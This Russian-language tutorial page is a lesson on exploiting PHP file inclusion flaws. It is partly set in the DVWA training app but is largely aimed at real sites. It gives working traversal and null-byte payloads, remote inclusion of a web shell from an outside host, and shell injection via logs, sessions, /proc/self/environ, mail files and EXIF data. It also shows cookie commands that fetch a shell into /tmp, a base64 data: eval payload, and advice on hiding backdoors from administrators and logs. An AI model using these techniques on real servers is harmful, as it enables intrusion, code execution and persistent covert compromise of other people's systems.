Главная Мой профиль Регистрация Выход Вход
Пт
15.12.2017
05:32
Приветствую Вас Гость | RSS ВходРегистрацияГлавная
Поиск
Друзья сайта
Опрос
Ваша операционная система?
1. Windows 7
2. Windows XP
3. Другое
4. Windows Vista
5. Debian Linux
6. Дистр. из другого семейства Linux
7. RedHat Linux
8. *BSD Unix (Free BSD, OpenBSD, etc.)
9. Slackware Linux
Всего ответов: 384
Статистика




Онлайн всего: 1
Гостей: 1
Пользователей: 0



Главная » Уроки » Класс 2

PHP File Inclusion
Урок 8
PHP File Inclusion

File inclusion (оно же – php include/inclusion, php injection, в народе – инклуд) – уязвимость веб приложений, возникающая вследствие недостаточной фильтрации получаемых от пользователей данных для функций включения кода (см. ниже) и позволяющая выполнить произвольный php код на уязвимом сервере.

Сначала рассмотрим природу этой уязвимости, а именно причину её возникновения. Данный баг возникает вследствие получения параметров для функций include(), require(), eval(), include_once() и require_once() от пользователей без проверки или фильтрации.
В таком случае пользователь (с самыми честными намерениями) получает возможность передавать в функции нужные ему параметры, тем самым включая произвольный код в уязвимые скрипты и выполняя его на атакуемом сервере.
Примечание: подразумевается, что php знают все читатели. Недоучившим для полного удовлетворения рекомендуется освежить в памяти назначение вышеуказанных функций. Также тем, кто не знает, что такое суперглобальные переменные в php ($_POST, $_GET и иже с ними) обязательно к прочтению и пониманию.

Для наглядности смоделируем подобную ситуацию. Есть бездарный девелопер, одна штука + его попытка написать сайт с подключаемыми модулями. Такова будет его гениальная реализация:
Code
...
$page = $_GET['page'];
 include($page.'.php');
...
?>
Здесь параметр для функции include() передаётся в скрипт методом GET (и зачем я это пишу, очевидно же), а значит, ссылка на страницу будет выглядеть, например, так:
_ttp://site.com/script.php?page=news
Да, «программист» думал, что так будет легко подключать к страницам сайта блок новостей или, например, фотоальбом и календарик и ссылаться на них как-то так:
_ttp://site.com/script.php?page=album
_ttp://site.com/script.php?page=calendar
Какой наивный мальчик. happy Параметр page функции include доступен для модификации пользователям, следовательно его знаение может быть изменёно на нужное злоумышленнику. Так появляется возможность включения произвольного кода. Подробнее алгоритм и способы внедрения будут рассмотрены далее.

Подготовка тренировочного полигона

Для начала определимся с площадкой для наших экспериментов. Сразу ставлю этот вопрос, потому что без практики изучать что-либо бесполезно, а если не порешить с этим делом сразу, многие и пробовать не будут (по себе знаю =) ).
Вечный вопрос «где?» можно сразу отбрасывать – на локалхосте. Ибо в вебе и искать долго, и работать медленнее. А чтобы не писать уязвимых скриптов самим, воспользуемся продуктом за именем DVWA (Damn Vulnerable Web Aplication). Ознакомиться с кратким описанием можно здесьздесь офсайт). Только не уходите надолго, когда установите - возвращайтесь! smile

Но одной только установкой DVWA наша подготовка не заканчивается. Дабы все уязвимые скрипты были уязвимы на полную катушку, нужно внести некоторые изменения в конфигурацию нашего сервера, а именно интерпретатора php. Откройте конфигурационный файл php.ini, найдите и отредактируйте указанные ниже директивы:
Code
register_globals=ON ; глобализация переменных - потенциальная брешь в безопасности
magic_quotes=OFF ; отключаем магические кавычки для GET/POST/COOKIE - благоприятствует SQL-inj и позволяет использовать нуль-байт в инклудах
; Следующие 3 параметра необязательны для изучения инклудов. Можете установить их на будущее.
magic_quotes_runtime=OFF ; благоприятствует SQL-inj
magic_quotes_sybase=OFF ; благоприятствует SQL-inj
mysql.trace_mode=ON ; включает показ ошибок Mysql
allow_url_fopen=ON ; разрешает удаленное открытие файлов файловыми функциями
allow_url_include=ON ; разрешает удаленно инклудить файлы
error_reporting=E_ALL ; показ всех ошибок
disable_functions= ; никаких ограничений
safe_mode=OFF ; никаких ограничений
open_basedir= ; никаких ограничений
sql.safe_mode=OFF ;
Внимание! Данная конфигурация сервера способствует проявлению множества критических уязвимостей веб-приложений и снижает его защищённость. Используйте данную конфигурацию только для тестирования уязвимостей веб приложений и только на localhost-сервере.

После сохранения изменений необходимо перезапустить сервер. Ах да, когда будете заходить в DVWA, не забывайте в разделе «Security» устанавливать значение уровня защищённости в «Low». На других уровнях уязвимости там не будет.
На этом подготовительный этап заканчивается. Теперь рассмотрим то, с чего начинается любой взлом... и, разумеется, любая защита.

Поиск уязвимости

В случае с нашей тренировочной площадкой на местоположение уязвимого скрипта как бы незаметно намекает кнопка «File Inclusion», но может оно и к лучшему. Потратить час-другой на поиск уязвимости всегда успеете, но сейчас же не до этого. Лучше попробуйте самостоятельно поэкспериментировать с уязвимым параметром, передаваемым в адресной строке (изменить на любой другой текст) и посмотреть, как на это отреагирует скрипт при наличии уязвимости.

http://localhost/dvwa/vulnerabilities/fi/?page=whatsup
Quote (http://localhost/dvwa/vulnerabilities/fi/?page=whatsup)
Warning: include(whatsup) [function.include]: failed to open stream: No such file or directory in W:\home\localhost\www\dvwa\vulnerabilities\fi\index.php on line 35

Warning: include() [function.include]: Failed opening 'whatsup' for inclusion (include_path='.;/usr/local/php5/PEAR;../../external/phpids/0.6/lib/') in W:\home\localhost\www\dvwa\vulnerabilities\fi\index.php on line 35

На подстановке левых значений и обнаружении подобных ошибок и основан поиск file inclusion. В общих чертах процесс поиска инклудов похож на поиск SQL инъекций и XSS – мы всё так же изменяем все передаваемые скрипту параметры чтобы узнать его реакцию. Так как природу уязвимости мы уже понимаем, можем догадаться, что ошибка происходит потому, что скрипт пытается подключить несуществующий файл (иногда эрроры могут и не вываливаться, если отключен их вывод, но в таком случае мы всё равно увидим изменение страницы). А это, в свою очередь значит, что мы нашли параметр, указывающий на подключаемый файл, и теоретически имеем возможность этим воспользоваться. Чтож, попробуем...

Проверка найденной уязвимости

Для начала убедимся, что найденная аномалия вообще является инклудом. Подставим в параметр адрес файла на сервере, в существовании которого мы уверены. Классика — файл /etc/passwd. Путь к файлу указывается относительно текущего скрипта, поэтому для перехода в корневой каталог используется несколько последовательностей ../ (кто не в курсе, символы ../ означают переход на каталог выше, запомните их):
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd
На странице отобразилось содержимое этого файла, следовательно, мы не ошиблись и действительно нашли уязвимость file inclusion (кто бы сомневался...)!
Примечание: в случае, если сервером является система семейства *BSD, файла /etc/passwd вы там не найдёте. Попробуйте включить /etc/groups (просто для проверки работоспособности инклуда).

Если у вас сейчас не отобразилось ничего особоенного, причина этому одна - вы под виндой. =) Я не собираюсь сейчас пропагандировать *nix и вести демагогию насчёт преимуществ той или иной системы, но факт остаётся фактом — доля никсовых сервантов с сайтами составляет по разным источникам 90% и более от общего кол-ва серверов. Поэтому в статье рассматриваются инклуды именно в никсовые сервера. Как вы увидите далее, существует немало тонкостей, зависящих от ОС, под которой работает атакуемый сайт.

Следует сразу предупредить, что в случаях, когда в конфиге open_basedir грамотно ограничивает каталоги, доступные интерпретатору php, для проверки уязвимости нужно будет подключить что-то из каталога веб-сервера. Единственно возможный способ залить шелл в таком случае – применить file upload (см. часть «Эксплуатирование», параграф «Local File Include», пункт 1).

Null-byte

Часто встречаются ситуации, когда при проверке уязвимости вместо содержимого файла вываливается очередная ошибка подключения:
Quote
Warning: main(/etc/passwd.php): failed to open stream: No such file or directory in /var/www/script.php on line 3

Warning: main(): Failed opening '/etc/passwd.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /var/www/script.php on line 3

Обратили внимание на добавившееся расширение .ph? Это происходит, если функция включения реализована так, как это было показано в самом начале статьи. То есть если к передаваемому функции параметру автоматически дописывается какое-либо расширение (не обязательно это именно php, может встречаться и любое другое расширение). Для того, чтобы отбросить расширение (которое, по сути, является частью строки, переданной в функцию include), используют символ конца строки - нулевой байт (null-byte): %00

То есть при ошибках с дополнительным расширением файл следует инклудить таким образом:
http://site.com/script.php?page=../../../../../.../../etc/passwd%00

В случаях, когда в конфиге magic_quotes_gpc=On, нуль-байт будет экранироваться. Решение этой проблемы см. в главе «advanced inclusion» (часть – «Good bye, null-byte!»).

Виды инклудов - LFI & RFI

Итак, дальнейший алгоритм эксплуатации будет зависеть от того, к какому виду инклудов принадлежит найденный нами. Уязвимости file inclusion подразделяются на 2 вида: локальные (LFI — Local File Inclusion) и удалённые (RFI — Remote File Inclusion).

Отступление по понятиям: локальный инклуд означает, что есть возможность подключать и исполнять или читать файлы только в пределах уязвимого сервера по относительному пути к файлам (а точнее в пределах заданной в конфиге php open_basedir, ибо она ограничивает доступные интерпретатору каталоги). При удалённом инклуде есть возможность подключать произвольные файлы с других серверов по их URL-адресам. RFI встречается гораздо реже, чем LFI и считается более опасной уязвимостью.

Определить к какому из видов инклудов относится наш не сложно. Так как мы уже уверены, что инклуд рабочий, локальным он будет априори. Удалённый же инклуд здесь будет возможен в том случае, если директива allow_url_include в конфигурации php находится в значении On.

Давайте попробуем провернуть удалённый инклуд в нашем DVWA. Для этого нужно проинклудить уже не локальный файл, а файл на удалённом сервере. Подготовим включаемый файл с таким содержимым:
Code

Назовём его include.txt и зальём на любой хостинг. Важно, чтобы файл был доступен для чтения, иначе функция включения не сможет прочесть подключаемый код. По этой причине нельзя использовать расширение .php в именах включаемых файлов. После подключения этого файла мы должны увидеть на странице надпись Remote File Include works!!111 ^_^". Пробуем:
http://localhost/dvwa/vulnerabilities/fi/?page=http://our.hosting.ru/include.txt

Если у вас allow_url_include = On, всё должно сработать. Появление надписи означает, что здесь возможен удалённый инклуд.

Примечание: при удалённом инклуде обрезать расширение нуль-байтом нет необходимости. Если оно дописывается скриптом, просто присвойте включаемому файлу такое же расширение, а в инклуде укажите URL файла без расширения. Скрипт сам его допишет.
Обратите внимание, что в случае, когда нужно задать файлу расширение .php, сам файл будет исполняться на сервере и его содержимое будет недоступно для чтения и инклуда. Решение проблемы - выводим нужный для инклуда код оператором вывода "echo":[/i]
Code
'; ?>

Эксплуатирование

Фактически половину работы по эксплуатированию php-injection мы выполнили ещё на стадии проверки найденной уязвимости, когда подключили сторонний код. Осталось лишь довести дело до логического конца, подключив не просто проверочный скрипт, а полноценный шелл. Рискну предположить, что если вы начали читать эту статью, не зная, что такое инклуды или не понимая, как их применять, то возможно, вам не приходилось сталкиваться и с шеллами. Если моё предположение для вас неверно, переходите сразу к пункту «Remote File Inclusion», а остальных вкратце ввожу в тему.

Шеллы

Шелл (shell) — внедрённый на сервер код, позволяющий злоумышленнику контролировать систему. Полноценный шелл по сути представляет из себя некую контрольную панель, из которой можно отдавать системные или php команды серверу, управлять файлами (читать\скачивать\редактировать - полноценный файловый менеджер) и даже подключиться к БД сервера.

Слово «полноценный» было подчёркнуто не просто так. Шеллом можно так же назвать скрипт с таким содержимым:
Code
Он так же позволяет выполнять все вышеперечисленные действия посредством передачи команд через параметр cmd... если сохранить на локалхосте с именем shell.php:
http://localhost/shell.php?cmd=phpinfo();
Вывалит phpinfo вашего локалхоста. Просто и сердито, немного неудобно пользоваться, но достаточно, чтобы залить полноценный шелл (который просто являет собой удобную оболочку, интерфейс).

О том, как лить шеллы через пыхинклуд – будет сказано позже, а пока сделаю пару замечаний по этикету использования шеллов и отсыплю вам немного ссылок (без ссылок никак, ибо статья не про шеллы :)).
Ну, во-первых, класть шелл в корень сайта с именем shell.php совершенно некультурно. Очевидно, что админ не станет терпеть такого хамства, удалит лишний скрипт, да ещё и плотно займётся безопасностью сайта и перекроет все дырки, по которым вы его так старательно туда лили. Шелл нужно прятать глубоко и старательно. О том, как именно их прятать, читай по ссылкам внизу.
Во-вторых, все GET-запросы отображаются в логах, а следовательно, внимательный админ может пропалить такие запросы, как описанный выше shell.php?cmd=phpinfo(); (ну мало ли зачем надо будет логи проверить). Дабы и здесь быть приличными и тихими, лучше реализовать вышеописанный скрипт с использованием COOKIE вместо GET:
Code

В опере можно редактировать печеньки стандартными средствами, для остального ищем плагины — они есть.
В-третьих... да, эту тему можно развернуть ещё на пару статей (да и я сам не все хитрости знаю), так что лучше просто отсыплю полезных линков по сабжу:
Теперь, когда вы точно в курсе про шеллы, и я могу быть спокоен, что дальше не придётся дополнительно ничего разъяснять, можем, наконец, приступать к эксплуатрированию инклудов.

Remote File Inclusion

Здесь всё просто до безобразия. Если у вас уже получилось подключить скрипт с phpinfo ранее на этапе проверки найденного инклуда, просто замените его на удобный для вас шелл. Вот и всё, шелл мы получили! Правда, с серьёзным недостатком — он не залит на атакуемый сервер, а просто подключен. Это огромный минус, так как уязвимость может быть вскоре обнаружена и устранена, и ваш шелл отвалится. О том, как продвинуться дальше, будет сказано после рассмотрения LFI (под заголовком «льём постоянный шелл») потому что там мы упрёмся в аналогичный тупик.

Local File Include

Как уже говорилось ранее, если инклуд есть, то локальным он будет априори, а удалённый инклуд — лишь дополнительная фича бага, позволяющая проще получить базовый шелл (из предыдущего абзаца видно, что это действительно просто). Это я к тому, что всё, что сейчас будет здесь описано, можно провернуть и там, где есть удалённый инклуд. Вопрос только — надо ли?

Итак, получение базового шелла через локальный инклуд происходит по нижеследующему принципу. Сначала нужно найти файл, на содержимое которого мы можем повлиять (ну и который сможем затем проинклудить). Далее внести в этот файл код нашего базового шелла и подключить его.
Примечание: специфика функций включения такова, что даже если интерпретатор не настроен на обработку кода в файлах с отличными от .php расширениями, при инклуде такого файла php-код в нём (между символами ) всё равно будет интерпретирован.
Ну а теперь пара самых простых и распространённых примеров реализации вышеописанного алгоритма (остальные известные мне приёмы будут рассмотрены в главе «advanced inclusion»).

1) File upload (загрузка файла).
Думаю, не нужно описывать, как опознать форму для загрузки файлов на сервер, как она может выглядеть и для чего использоваться. В конце концов, все наверняка сто раз ими пользовались. По данному в начале параграфа про LFI алгоритму (который вы, конечно же, хорошо поняли и легко запомнили) можно догадаться, что форма загрузки послужит нам для заливки базового шелла. Как было сказано в примечании выше, расширение принимаемых файлов нас не интересует. Главное - пропихнуть файл с нужным содержимым (блокнот в помощь – вписываем код шелла), узнать его адрес на сервере и проинклудить.

Пример: залили аватарку\фотку\любой другой файл (пусть будет ava.gif) с кодом шелла, посмотрели адрес файла (например, по ссылке на скачку или по адресу изображения в его свойствах) и увидели:
_ttp://site.com/upload/files/ava.gif
Имя файла после загрузки может и измениться, но нам плевать.
Ну а наш скрипт с багом был, скажем...
_ttp://site.com/main/index.php?page=[здесь уязвимость]
Инклудим наш залитый файл:
_ttp://site.com/main/index.php?page=../upload/files/ava.gif
Если вдруг забыли, ../ было использовано, чтобы перейти из каталога main на один выше.
Сие и будет служить базовым шеллом.
Кстати, обратите внимание на кнопочку Upload в меню DVWA ;)

Теперь немного о грустном. Не всегда наши файлы оседают на сервере в первозданном виде. Подобный аплоад шелла возможен только в том случае, если файл не подвергается изменениям на сервере (или есть возможность пропихнуть какую-то его часть с кодом неизменной). Самый распространённый пример – сжатие или изменение размеров загружаемых изображений. Теме внедрения и сохранения кода в обрабатываемых изображениях я уделил немного внимания в главе «advanced inclusion» (часть – «Прячем шелл в exif»).

Напомню, что в случае с установленным на сервере open_basedir это ваш единственный шанс получить шелл. Ибо ни к чему кроме директорий сайта доступа у вас скорее всего не будет.

2) Логи веб сервера
Начнём с фактов. Веб сервер ведёт логи. Логи — это файлы. Файлы на том же сервере. Файлы на локальном сервере можно проинклудить. В логах всегда сохраняются ip адреса и юзерагенты (user-agent) обращавшихся к серверу пользователей. Мы — пользователи. Юзерагент можно подменить (подделать). Улавливаете поток мысли? Если подменить user-agent на код базового шелла и при этом проинклудить логи, сначала наше обращение к веб-серверу будет записано в лог и туда попадёт php-код, затем интерпретатор php обработает этот код при инклуде и мы получим наш шелл.

Стандартные пути к логам веб серверов можно при необходимости нагуглить. User-agent можно подменять вот этим. Мини-документация к «этому» здесь, но вряд ли там может быть что-то непонятное.

Звучит просто, но, во-первых, не всегда есть доступ к логам - может не быть прав на чтение (хотя такая расстановка прав по понятным причинам редко сочетается с include уязвимсотями на сайте). Во-вторых, логи могут лежать не по фен-шую в нестандартном месте, где мы их не найдём.
При возникновении первой проблемы придётся прибегнуть к другим методам, последняя же проблема решаема: инклудим (читаем, проще говоря) файл конфигурации веб сервера и смотрим там, куда назначено писать логи. Стандартные пути конфигов сервера также гуглим при необходимости.

3) Инжект в файл сессии
При входе пользователей на сайт многие веб-приложения присваивают каждому из них уникальный идентификатор сессии (Session ID, PHPSESSID). При этом на сервере создаётся файл сессии, в котором как правило записаны ip пользователя, user-agent и некоторая другая информация. В течение сеанса этот файл хранится на сервере в директории, установленной в файле php.ini строкой session.save_path. Если используется значение по умолчанию, файлы сессий хранятся во временной директории /tmp. Имя файла составляется следующим образом: sess_ID. ID будет соответствовать присвоенному вам идентификатору сессии. Узнать его можно, просмотрев печеньку PHPSESSID.

Итого: подменяем user-agent ==> получаем сессию ==> смотрим ID вышеописанным способом ==> инклудим /tmp/sess_ID (при этом агент должен оставаться тем же) ==> получили шелл.

Льём постоянный шелл (оставляем бэкдор)

Инклуд раскручен, временный шелл получен. Подходим к вопросу о том, как залить постоянный шелл, желательно запрятав его поглубже.

Если имеем только локальный инклуд и базовый шелл вида:
Code
 

Первым делом выводим phpinfo (в случае с вышеприведённым шеллом отправляем в кукисах cmd=phpinfo();) и смотрим значения следующих параметров:

  • allow_url_include
  • allow_url_fopen
Далее действуем по обстоятельствам:
Если allow_url_include = On
Сначала крепко задаёмся вопросом, какого же ражна мы мучаемся с локальным инклудом и делаем для себя какие-то выводы. =)
Заливаем на хостинг удобный для нас полнофункциональный шелл, даём расширение .txt (важна доступность для чтения). Далее будем просто инклудить его. Устанавливаем следующие куки и отправляем запрос:
Code
cmd=include($_COOKIE[include_from]);
include_from=http://our.hosting.ru/shell.txt
Если allow_url_fopen = On
Подгрузим полноценный шелл с нашего хостинга (предварительно зальём его туда с расширением .txt) на атакуемый сервер в каталог /tmp (есть гарантия доступности для записи), а затем просто проинклудим его локально Устанавливаем следующие куки и отправляем запрос:
Code
cmd=copy($_COOKIE[get_from],$_COOKIE[copy_to]);
get_from=http://site.com/shell.txt
copy_to=/tmp/php74gECa

Как проинклудить локальный файл /tmp/php74gECa догадаетесь? wink
Если allow_url_include и allow_url_fopen = Off
Самый муторный способ. Будем заливать шелл со своего компа через форму загрузки файлов. Создадим у себя файл form.html:
Code
<html>
<form enctype="multipart/form-data" action="http://site.com/" method="post">
<input name="upload_file" type="file">
<input type="submit" value="enter">
</form>
</html>

site.com заменяем на тот адрес, который находится у вас в адресной строке (когда вы готовы отправить запрос к шеллу), то есть на адрес проинклуженного базового шелла.
Открываем эту форму в браузере, выбираем файл с кодом нужного нам шелла, устанавливаем куки:
Code
cmd=move_uploaded_file($_COOKIE[upl_file],$_COOKIE[copy_to]);
upl_file=$_FILES["upl"]["nametmp"]
copy_to=/tmp/php74gECa

И только после этого отправляем запрос из формы (давим enter... Кэп где-то рядом).
Разумеется, локально инклудим залитый /tmp/php74gECa.
То, что сейчас свершилось можно назвать перезаливкой шелла — получение одного шелла из другого. После любой из трёх вышеописанных процедур вы должны прийти к одному результату — получить полнофункциональный шелл с удобным пользовательским интерфейсом.

Теперь можно воспользоваться им для того, чтобы оставить бэкдор (скрытый шелл с минимальным функционалом, «базовый») на взломанном сайте. Вооружайтесь рекомендациями по сокрытию шелла (по ссылкам из параграфа «Шеллы») и ищите доступные для записи файлы или каталоги, где можно его спрятать.

Возможно, вы зададите вопрос, почему нельзя было сразу вставить код полноценного шелла при локальном инклуде? Причины могут быть различные. Например, при заливке шелла через згружаемый файл нам может препятствовать ограничение на размер файла. Инжект здорового кода через юзерагент в логи апача — верх наглости и палевности. Другой метод инклуда, который будет описан далее (в главе «advanced inclusion»), требует быстрого ответа сервера на запрос и отправка здорового запроса с кодом так же неприемлема.

Если действие происходит с удалённого инклуда — всё совсем просто. В случае с удалённым инклудом имеется возможность без проблем подключить полнофункциональный шелл с удобным интерфейсом просто залив его на хостинг, а значит можно сразу же приступать к внедрению бэкдора (см. на 2 абзаца выше).

Пользуемся бэкдором

Теперь пару слов о том, как оставленным бэкдором в будущем воспользоваться. Так как пытаться спрятать код полноценного веб-шелла было бы глупо (нам нужна в первую очередь скрытность, а не юзабилити), в качестве бэкдоров всегда используется простейший базовый шелл. А для того чтобы им воспользоваться с комфортом нужно всего лишь повторно прибегнуть к одному из трёх описанных выше методов перезалива шелла.

Advanced Inclusion

Intro

Если бы любая найденная ошибка подключения файла сразу означала 100%-ую возможность исполнить левый код на сервере, это было бы слишком скучно. До этого в статье была рассмотрена «идеальная» уязвимость без каких-либо подводных камней (разве что было пару отсылок к этой главе с замечаниями, что что-то может пойти не так). На практике же вам придётся сталкиваться с более сложными вариантами инклудов, которые потребуют использования различных техник. Это может быть обусловлено как конфигурацией сервера, так и особенностями кода.

Good bye, null-byte!

Самая часто встречающаяся проблема — при инклуде нужно обрезать расширение, но magic_quotes_gpc=On и нульбайт экранируется. К счастью, для кастрации расширения есть и другой способ.
Начнём с того, что длина всех обрабатываемых путей для интерпретатора php ограничена определённым кол-вом символов, а символы, выходящие за этот лимит, просто игнорируются (отбрасываются). Грамотно это обзывается усечением пути. Следовательно, от расширения можно избавиться, выпихнув его за этот лимит.
Вопрос, где взять длинный путь к файлу, решается элементарно. Можно подставить после имени включаемого файла последовательность из нужного кол-ва символов «/.» и интерпретатор php всё равно обратится к указанному файлу. При этом необходимо в начало адреса включаемого файла дописать любое имя папки и выйти из неё последовательностью «/../» (папка может и не существовать — не важно). Это называется нормализацией пути.

http://localhost/dvwa/vulnerabilities/fi/?page=include.php
=
http://localhost/dvwa/vulnerabilities/fi/?page=fakedir/../include.php/././././././././.

Теперь нужно просто подставить в адрес включаемого файла такое кол-во слешей, которое вытеснило бы ненужное нам расширение. Ограничение длины путей зависит от платформы, но в большинстве случаев на никсовых серверах оно равно 4096 символам.
Итак, для успешного отсечения расширения достаточно подставить после адреса включаемого файла 2048 слешей с точками (ну или сколь угодно больше):
http://site.com/script.php?page=fakedir/../../../../../../../etc/passwd/././././.<...тысячи их...>/./././.
Так как нормализуется последовательность «/.», путь инклуда должен заканчиваться именно точкой, а не слэшем (смотрим в выводимой ошибке). Если кончается слэшем, добавляем одну любую букву к fakedir… ну или удаляем.

Способ не работает в php начиная с версии 5.3.0, но так как не все обновляют серверное ПО (следуют принципу «работает – не тронь!» во избежание проблем совместимости с новыми версиями), можно считать багу актуальной.
Так же не сработает в том случае, если инклуд файла (в самом коде) начинается не с буквы, а со спецсимвола, например в коде вида:
Code

$page = $_GET['page'];
include("./$page”.”.php”);

или
Code
...
$page = $_GET['page'];
include("/directory/$page”.”.php”);
...
?>

и в вариациях на эту тему метод не сработает.

Hint: в случае ограничений на длину url стоит попытаться использовать post запрос. Он будет работать в случае, если в скрипте используется не $_GET, а $_REQUEST (как показывает практика, так делают многие программисты).

Ещё места для шелла с LFI

Когда я описывал инжект шелл-кода через локальный инклуд, были упомянуты только 2 основных способа заливки, а так же обещано рассмотрение других методов в данной главе. Пробил час.

Следующие способы являются альтернативой к описанным ранее в случаях, когда нет возможности загрузить файл и не удаётся найти файлы логов и сессий (да сессии и не на каждом сайте используются) или отсутствуют права на их чтение. Алгоритм атаки здесь такой же, как и в примере с логами: подделка юзер-агента с одновременным инклудом некоторого файла, в котором отображается этот самый user-agent. Фактически остаётся рассмотреть только расположение этих файлов. Понеслась...

/proc/self и логи где-то рядом...

ОС семейства linux имеют интересную фичу под названием ProcFS. Это виртуальная файловая система, об истинном предназначении которой можно прочитать по ссылке выше. Для нас в данный момент интересен тот факт, что она монтируется в каталог /proc и содержит символические ссылки на файлы, с которыми в данный момент работают какие-либо процессы в системе. А значит, здесь можно найти файлы логов веб-сервера даже если ранее не удалось обнаружить их в стандартных директориях (права на чтение этих файлов у вас всё равно должны быть).
Файлы, используемые различными процессами, получают адреса по следующему принципу: /proc/pid/fd/n, где pid – process ID, идентификатор процесса в системе, n – просто порядковый номер открытого процессом файла (файловый дескриптор). Вместо pid можно использовать символическую ссылку self, которая адресует нас в каталог текущего процесса. Он нам и нужен, ведь файл логов используется нашим же процессом веб-сервера (под «нашим» подразумевается процесс, из которого мы обращаемся по ссылке self). Для нахождения логов останется только подобрать порядковый номер файла, что не должно занять много времени.
Чаще всего логи находятся по адресу /proc/self/fd/8
После того, как подберёте файловый дескриптор и найдёте логи, действуйте по уже знакомому алгоритму.
Примечание: если кто-то (не дай боже) не знаком со структурой файловой системы в никсах, довожу до сведения, что / - не символ в имени папки, а адрес корневого каталога, соответственно /proc – это папка «proc», расположенная в корневом каталоге. Про переход в него через последовательности ../ напоминать, надеюсь, не нужно.

Ещё одно место, куда падает юзер-агент — файл /proc/self/environ. В случае с процессом апача (не забываем, что self — симолическая ссылка, адрес которой зависит от процесса, от которого к ней обращаются) этот файл содержит информацию о переменных окружения (environment) этого процесса, и туда попадает user-agent последнего зашедшего пользователя. Принцип атаки всё тот же. Однако здесь важна скорость выполнения запроса. Если атакуемый сайт имеет большое кол-во посетителей, юзерагент последнего пользователя может перезаписаться до того, как произойдёт инклуд файла с вашим юзерагентом. Если после нескольких попыток обновить страницу вы получали содержимое файла и видели в нём чужой юзерагент, придётся попробовать в ночь на Новый Год когда все напьются и не будут лазать по сайтам. smile

Пишите письма

Данный метод инжекта шелл-кода поражает своей извращённостью, но зачастую это единственно возможный вариант, например, когда до /proc/self не получается добраться из-за грамотно расставленных прав. Заключается он в отправке письма с кодом на сервер и инклуде почтового файла.
Для этого должно выполняться 3 условия:
  • На сайте есть возможность отправки почты. Например, отправка приглашений другим пользователям или настройка уведомлений о получении ЛС, комментариев, обновлений профиля и т.п. на мыло.
  • Мы можем как-либо повлиять на содержимое письма.
  • Мы можем указать адрес получателя сообщения. Например, адрес получателя приглашения или подменить свой e-mail в профиле (на который приходят уведомления).
Для примера рассмотрим такую ситуацию: вы зарегистрировались на сайте и включили в профиле все возможные уведомления на почту (почту пока указали свою реальную). Путём несложных манипуляций вы инициировали отправку всех возможных уведомлений (ответили в своей же теме на форуме, оставили комментарий к своему материалу, отправили себе ЛС и т.*п. Просмотрев входящую почту выяснилось, что полученные на сайте ЛС и комментарии цитируются в письме. Ок, значит таким образом можно отправить шелл-код в письме. Думаю, тут идея понятна – как-либо включить evil-код в текст письма. Остаётся подменить адрес получателя (в данном случае — адрес, указанный у вас в профиле), чтобы письмо оставалось на атакуемом сервере.

На пункте подмены e-amil адреса остановимся подробнее. Для того, чтобы письмо пришло на тот же сервер, адрес должен иметь вид user@localhost. Вторая часть адреса очевидна – это будет сам атакуемый сервер, а первая часть — имя пользователя, которому будет адресовано сообщение. Можно использовать имя пользователя root (так как он 100% существует на любом сервере), но не факт что у вас будут права на чтение его почтовых файлов. Поэтому стоит сразу попытать счастья с пользователем nobody. Насколько мне известно, он тоже есть везде. =) Если и на почту этого юзера не будет прав чтения, они 100% будут на свою почту, то бишь на пользователя, под которым запущен веб-сервер. Обычно это «www-data», но могут также оказаться пользователи «apache», «www» «wwwdata»... в общем, может быть, придётся перебирать.

Так же при смене адреса можно столкнуться с такой засадой как необходимость подтверждения нового адреса. Казалось бы, это невозможно, ведь у нас нет почтового аккаунта к атакуемому серверу, но так как изначально задумывалось отправить письмо с кодом на сервер, а потом его проинклудить, что мешает так же проинклудить письмо с требуемым кодом подтверждения и прочитать его? Всё просто.

Итак, если имя пользователя будет подобрано правильно, письмо упадёт на сервер в каталог /var/mail или в /var/spool/mail с именем файла по имени пользователя (то есть /var/mail/www-data или что вы вместо него подберёте). Инклудим его, читаем код или ссылку подтверждения, сабмитим новое мыло (при необходимости подтвержения), после чего инициируем (найденным ранее способом) отправку письма с кодом шелла. Инклуд этого письма и даст нам столь желанный шелл.

Прячем шелл в exif

При попытке проинклудить залитую на сайт картинку с вставленным в неё php кодом зачастую можно столкнуться с такой проблемой как проверка формата изображения перед сохранением его на сервер или с простым изменением размеров или сжатием картинки. В таких случаях нагло вписать код в файл блокнотом и проинклудить его не получится — данные будут утеряны после обработки изображения сервером.
К счастью, у файлов изображений есть специальная секция, предназначенная для хранения различных сведений об изображении. Эта секция называется exif (Exchangeable Image File Format). Конечно, если скрипт верификации загружаемого изображения написан добросовестно, он затрёт содержимое это секции, но надежда умирает последней.

Итак, нам нужно валидное для загрузки изображение с соответствующим требованием сайта расширением и желательно как можно меньшим размером (зачастую маленькие изображения пропускаются скриптами без сжатия и ресайза). Записать в его exif код шелла можно при помощи графических редакторов, имеющих функцию редактирования exif или специализированных программ. Как обстоят дела в винде не знаю, в никсах это можно сделать с помощью gimp. Кстати, он есть и под windows.
Открываем изображение — жмём «сохранить как», выбираем целевой формат и... в общем, как-то так:


После сохранения изображение будет содержать код нашего шелла. Проверить можно открыв файл любым hex редактором. Так же проверяем наличие кода в файле после его заливки. Если код остался — можно инклудить файл и радоваться этой маленькой победе.

Обход фильтраций

Уже на этапе проверки ошибки, подозреваемой на удалённый инклуд, можно столкнуться с фильтрацией определённых жизненно важных для инжекта символов, таких как точки и слеши. Так же бывает, что allow_url_include = On, но имеются ограничения для интерпретатора php на работу по протоколу http. Рассмотрим эти ситуации.
Примечание: перед тем как пускаться во все тяжкие, попробуйте банальное url-кодирование. Иногда (хоть и редко) этого оказывается достаточно для обхода примитивных фильтров.

Обходим фильтры протоколом Data

Включён в php версий >= 5.2.0.
Требует allow_url_include = On (не всегда о_О)

Пример:
http://localhost/dvwa/vulnerabilities/fi/?page=data:application/x-httpd-php;base64,PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOyA/Pg==&cmd=phpinfo();
Выведет phpinfo вашего сервера. Разберём этот пример по частям.
Параметру скрипта page передаётся для инклуда значение «data:application/x-httpd-php;base64,PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOyA/Pg==&cmd=phpinfo();».
